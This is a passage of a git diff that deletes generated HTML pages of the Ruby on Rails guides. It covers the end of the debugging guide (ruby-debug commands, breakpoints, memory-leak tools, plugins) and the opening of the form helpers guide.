-<div class="content">
-<pre><tt>(rdb:11) instance_variables.include? "@posts"
-true</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>var
-(rdb:1) v[ar] const &lt;object&gt; show constants of object
-(rdb:1) v[ar] g[lobal] show global variables
-(rdb:1) v[ar] i[nstance] &lt;object&gt; show instance variables of object
-(rdb:1) v[ar] l[ocal] show local variables</tt></pre>
-</div></div>
-<div class="paragraph"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:9) var local
- __dbg_verbose_save =&gt; false</tt></pre>
-</div></div>
-<div class="paragraph"><p>You can also inspect for an object method this way:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:9) var instance Post.new
-@attributes = {"updated_at"=&gt;nil, "body"=&gt;nil, "title"=&gt;nil, "published"=&gt;nil, "created_at"...
-@attributes_cache = {}
-@new_record = true</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) display @recent_comments
-1: @recent_comments =</tt></pre>
-</div></div>
-<div class="paragraph"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
-<h3 id="_step_by_step">3.6. Step by Step</h3>
-<div class="paragraph"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
-<div class="paragraph"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can also use <tt>step+ <em>n</em></tt> and <tt>step- <em>n</em></tt> to move forward or backward <em>n</em> steps respectively.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
-<div class="paragraph"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
-<div class="paragraph"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Author <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>editorial
- has_many <span style="color: #990000">:</span>comments
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent_comments<span style="color: #990000">(</span>limit <span style="color: #990000">=</span> <span style="color: #993399">10</span><span style="color: #990000">)</span>
- debugger
- <span style="color: #009900">@recent_comments</span> <span style="color: #990000">||=</span> comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>
- <span style="color: #990000">:</span>all<span style="color: #990000">,</span>
- <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>week<span style="color: #990000">.</span>ago<span style="color: #990000">],</span>
- <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> limit
- <span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can use ruby-debug while using script/console. Just remember to <tt>require "ruby-debug"</tt> before calling the <tt>debugger</tt> method.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/PathTo/project $ script/console
-Loading development environment (Rails 2.1.0)
-&gt;&gt; require "ruby-debug"
-=&gt; []
-&gt;&gt; author = Author.first
-=&gt; #&lt;Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"&gt;
-&gt;&gt; author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)</tt></pre>
-</div></div>
-<div class="paragraph"><p>With the code stopped, take a look around:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) list
-[6, 15] in /PathTo/project/app/models/author.rb
- 6 debugger
- 7 @recent_comments ||= comments.find(
- 8 :all,
- 9 :conditions =&gt; ["created_at &gt; ?", 1.week.ago],
- 10 :limit =&gt; limit
-=&gt; 11 )
- 12 end
- 13 end</tt></pre>
-</div></div>
-<div class="paragraph"><p>You are at the end of the line, but... was this line executed? You can inspect the instance variables.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) var instance
-@attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
-@attributes_cache = {}</tt></pre>
-</div></div>
-<div class="paragraph"><p><tt>@recent_comments</tt> hasn&#8217;t been defined yet, so it&#8217;s clear that this line hasn&#8217;t been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
-<div class="paragraph"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
-<h3 id="_breakpoints">3.7. Breakpoints</h3>
-<div class="paragraph"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
-<div class="paragraph"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.
-</p>
-</li>
-<li>
-<p>
-<tt>break file:line [if expression]</tt>: set breakpoint in the <em>line</em> number inside the <em>file</em>. If an <em>expression</em> is given it must evaluated to <em>true</em> to fire up the debugger.
-</p>
-</li>
-<li>
-<p>
-<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and \# for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10</tt></pre>
-</div></div>
-<div class="paragraph"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) info breakpoints
-Num Enb What
- 1 y at filters.rb:10</tt></pre>
-</div></div>
-<div class="paragraph"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.</tt></pre>
-</div></div>
-<div class="paragraph"><p>You can also enable or disable breakpoints:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-</p>
-</li>
-<li>
-<p>
-<tt>disable breakpoints</tt>: the <em>breakpoints</em> will have no effect on your program.
-</p>
-</li>
-</ul></div>
-<h3 id="_catching_exceptions">3.8. Catching Exceptions</h3>
-<div class="paragraph"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
-<div class="paragraph"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
-<h3 id="_resuming_execution">3.9. Resuming Execution</h3>
-<div class="paragraph"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-</p>
-</li>
-<li>
-<p>
-<tt>finish</tt> [frame-number] (or <tt>fin</tt>): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-</p>
-</li>
-</ul></div>
-<h3 id="_editing">3.10. Editing</h3>
-<div class="paragraph"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the EDITOR environment variable. A specific <em>line</em> can also be given.
-</p>
-</li>
-<li>
-<p>
-<tt>tmate <em>n</em></tt> (abbreviated <tt>tm</tt>): open the current file in TextMate. It uses n-th frame if <em>n</em> is specified.
-</p>
-</li>
-</ul></div>
-<h3 id="_quitting">3.11. Quitting</h3>
-<div class="paragraph"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
-<div class="paragraph"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
-<h3 id="_settings">3.12. Settings</h3>
-<div class="paragraph"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>set reload</tt>: Reload source code when changed.
-</p>
-</li>
-<li>
-<p>
-<tt>set autolist</tt>: Execute <tt>list</tt> command on every breakpoint.
-</p>
-</li>
-<li>
-<p>
-<tt>set listsize <em>n</em></tt>: Set number of source lines to list by default to <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>set forcestep</tt>: Make sure the <tt>next</tt> and <tt>step</tt> commands always move to a new line
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Here&#8217;s a good start for an <tt>.rdebugrc</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>set autolist
-set forcestep
-set listsize 25</tt></pre>
-</div></div>
-</div>
-<h2 id="_debugging_memory_leaks">4. Debugging Memory Leaks</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.</p></div>
-<div class="paragraph"><p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p></div>
-<h3 id="_bleakhouse">4.1. BleakHouse</h3>
-<div class="paragraph"><p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p></div>
-<div class="paragraph"><p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won&#8217;t sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p></div>
-<div class="paragraph"><p>To install it run:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>sudo gem install bleak_house</tt></pre>
-</div></div>
-<div class="paragraph"><p>Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'bleak_house'</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'BLEAK_HOUSE'</span><span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>Start a server instance with BleakHouse integration:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server</tt></pre>
-</div></div>
-<div class="paragraph"><p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>** BleakHouse: working...
-** BleakHouse: complete
-** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.</tt></pre>
-</div></div>
-<div class="paragraph"><p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt> 191691 total objects
- Final heap size 191691 filled, 220961 free
- Displaying top 20 most common line/class pairs
- 89513 __null__:__null__:__node__
- 41438 __null__:__null__:String
- 2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
- 1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
- 1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
- 951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
- 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
- 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
- ...</tt></pre>
-</div></div>
-<div class="paragraph"><p>This way you can find where your application is leaking memory and fix it.</p></div>
-<div class="paragraph"><p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn&#8217;t report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p></div>
-<h3 id="_valgrind">4.2. Valgrind</h3>
-<div class="paragraph"><p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p></div>
-<div class="paragraph"><p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn&#8217;t properly call <tt>free()</tt>, this memory won&#8217;t be available until the app terminates.</p></div>
-<div class="paragraph"><p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p></div>
-</div>
-<h2 id="_plugins_for_debugging">5. Plugins for Debugging</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://github.com/drnic/rails-footnotes/tree/master">Footnotes</a>: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/ntalbott/query_trace/tree/master">Query Trace</a>: Adds query origin tracing to your logs.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/dan-manges/query_stats/tree/master">Query Stats</a>: A Rails plugin to track database queries.
-</p>
-</li>
-<li>
-<p>
-<a href="http://code.google.com/p/query-reviewer/">Query Reviewer</a>: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/rails/exception_notification/tree/master">Exception Notifier</a>: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/defunkt/exception_logger/tree/master">Exception Logger</a>: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_references">6. References</h2>
-<div class="sectionbody">
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.sitepoint.com/article/debug-rails-app-ruby-debug/">Article: Debugging a Rails application with ruby-debug</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/">ruby-debug Basics screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate&#8217;s ruby-debug screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate&#8217;s stack trace screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate&#8217;s logger screencast</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://bashdb.sourceforge.net/ruby-debug.html">Debugging with ruby-debug</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://cheat.errtheblog.com/s/rdebug/">ruby-debug cheat sheet</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging">Ruby on Rails Wiki: How to Configure Logging</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html">Bleak House Documentation</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">7. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by <a href="../authors.html#miloops">Emilio Tagua</a>
-</p>
-</li>
-<li>
-<p>
-October 19, 2008: Copy editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 16, 2008: initial version by <a href="../authors.html#miloops">Emilio Tagua</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/form_helpers.html b/railties/doc/guides/html/form_helpers.html
deleted file mode 100644
index a43cbe584f..0000000000
--- a/railties/doc/guides/html/form_helpers.html
+++ /dev/null
@@ -1,970 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails form helpers</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_basic_forms">Basic forms</a>
- <ul>
-
- <li><a href="#_generic_search_form">Generic search form</a></li>
-
- <li><a href="#_multiple_hashes_in_form_helper_attributes">Multiple hashes in form helper attributes</a></li>
-
- <li><a href="#_checkboxes_radio_buttons_and_other_controls">Checkboxes, radio buttons and other controls</a></li>
-
- <li><a href="#_how_do_forms_with_put_or_delete_methods_work">How do forms with PUT or DELETE methods work?</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_different_families_of_helpers">Different Families of helpers</a>
- <ul>
-
- <li><a href="#_barebones_helpers">Barebones helpers</a></li>
-
- <li><a href="#_model_object_helpers">Model object helpers</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_forms_that_deal_with_model_attributes">Forms that deal with model attributes</a>
- <ul>
-
- <li><a href="#_relying_on_record_identification">Relying on record identification</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_making_select_boxes_with_ease">Making select boxes with ease</a>
- <ul>
-
- <li><a href="#_the_select_tag_and_options">The select tag and options</a></li>
-
- <li><a href="#_select_boxes_for_dealing_with_models">Select boxes for dealing with models</a></li>
-
- <li><a href="#_option_tags_from_a_collection_of_arbitrary_objects">Option tags from a collection of arbitrary objects</a></li>
-
- <li><a href="#_time_zone_and_country_select">Time zone and country select</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_date_and_time_select_boxes">Date and time select boxes</a>
- <ul>
-
- <li><a href="#_barebones_helpers_2">Barebones helpers</a></li>
-
- <li><a href="#_model_object_helpers_2">Model object helpers</a></li>
-
- <li><a href="#_common_options">Common options</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_form_builders">Form builders</a>
- <ul>
-
- <li><a href="#_scoping_out_form_controls_with_tt_fields_for_tt">Scoping out form controls with <tt>fields_for</tt></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_file_uploads">File Uploads</a>
- <ul>
-
- <li><a href="#_what_gets_uploaded">What gets uploaded</a></li>
-
- <li><a href="#_dealing_with_ajax">Dealing with Ajax</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_parameter_names">Parameter Names</a>
- <ul>
-
- <li><a href="#_basic_structures">Basic structures</a></li>
-
- <li><a href="#_combining_them">Combining them</a></li>
-
- <li><a href="#_using_form_helpers">Using form helpers</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_complex_forms">Complex forms</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails form helpers</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.</p></div>
-<div class="paragraph"><p>In this guide you will:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Create search forms and similar kind of generic forms not representing any specific model in your application;
-</p>
-</li>
-<li>
-<p>
-Make model-centric forms for creation and editing of specific database records;
-</p>
-</li>
-<li>
-<p>
-Generate select boxes from multiple types of data;
-</p>
-</li>
-<li>
-<p>
-Learn what makes a file upload form different;
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit <a href="http://api.rubyonrails.org/">the Rails API documentation</a> for a complete reference.</td>
-</tr></table>
-</div>
-</div>
-</div>
-<h2 id="_basic_forms">1. Basic forms</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>The most basic form helper is <tt>form_tag</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>&lt;% form_tag do %&gt;
- Form contents
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):</p></div>
-<div class="listingblock">
-<div class="title">Sample output from <tt>form_tag</tt></div>
-<div class="content">
-<pre><tt>&lt;form action="/home/index" method="post"&gt;
- &lt;div style="margin:0;padding:0"&gt;
- &lt;input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /&gt;
- &lt;/div&gt;
- Form contents
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>If you carefully observe this output, you can see that the helper generated something you didn&#8217;t specify: a <tt>div</tt> element with a hidden input inside. This is a security feature of Rails called <strong>cross-site request forgery protection</strong> and form helpers generate it for every form which action isn&#8217;t "GET" (provided that this security feature is enabled).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Throughout this guide, this <tt>div</tt> with the hidden input will be stripped away to have clearer code samples.</td>
-</tr></table>
-</div>
-<h3 id="_generic_search_form">1.1. Generic search form</h3>
-<div class="paragraph"><p>Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:</p></div>
-<div class="olist arabic"><ol class="arabic">
-<li>
-<p>
-a form element with "GET" method,
-</p>
-</li>
-<li>
-<p>
-a label for the input,
-</p>
-</li>
-<li>
-<p>
-a text input element, and
-</p>
-</li>
-<li>
-<p>
-a submit element.
-</p>
-</li>
-</ol></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/important.png" alt="Important" />
-</td>
-<td class="content">Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and others.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>To create that, you will use <tt>form_tag</tt>, <tt>label_tag</tt>, <tt>text_field_tag</tt> and <tt>submit_tag</tt>, respectively.</p></div>
-<div class="listingblock">
-<div class="title">A basic search form</div>
-<div class="content">
-<pre><tt>&lt;% form_tag(search_path, :method =&gt; "get") do %&gt;
- &lt;%= label_tag(:q, "Search for:") %&gt;
- &lt;%= text_field_tag(:q) %&gt;
- &lt;%= submit_tag("Search") %&gt;
-&lt;% end %&gt;</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">
-<div class="paragraph"><p><tt>search_path</tt> can be a named route specified in "routes.rb":</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>map.search "search", :controller =&gt; "search"</tt></pre>
-</div></div>
-</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>The above view code will result in the following markup:</p></div>
-<div class="listingblock">
-<div class="title">Search form HTML</div>
-<div class="content">
-<pre><tt>&lt;form action="/search" method="get"&gt;
- &lt;label for="q"&gt;Search for:&lt;/label&gt;
- &lt;input id="q" name="q" type="text" /&gt;
- &lt;input name="commit" type="submit" value="Search" /&gt;
-&lt;/form&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Besides <tt>text_field_tag</tt> and <tt>submit_tag</tt>, there is a similar helper for <em>every</em> form control in HTML.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.</td>
-</tr></table>
-</div>
-<h3 id="_multiple_hashes_in_form_helper_attributes">1.2. Multiple hashes in form helper attributes</h3>
-<div class="paragraph"><p>By now you&#8217;ve seen that the <tt>form_tag</tt> helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element&#8217;s class.</p></div>
-<div class="paragraph"><p>As with the &#8216;link_to` helper, the path argument doesn&#8217;t have to be given a string. It can be a hash of URL parameters that Rails&#8217; routing mechanism will turn into a valid URL. Still, you cannot simply write this:</p></div>
-<div class="listingblock">
-<div class="title">A bad way to pass multiple hashes as method arguments</div>
-<div class="content">
-<pre><tt>form_tag(:controller =&gt; "people", :action =&gt; "search", :method =&gt; "get", :class =&gt; "nifty_form")
-# =&gt; &lt;form action="/people/search?method=get&amp;class=nifty_form" method="post"&gt;</tt></pre>
-</div></div>
-<div class="paragraph"><p>Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets:</p></div>
-<div class="listingblock">
-<div class="title">The correct way of passing multiple hashes as arguments</div>
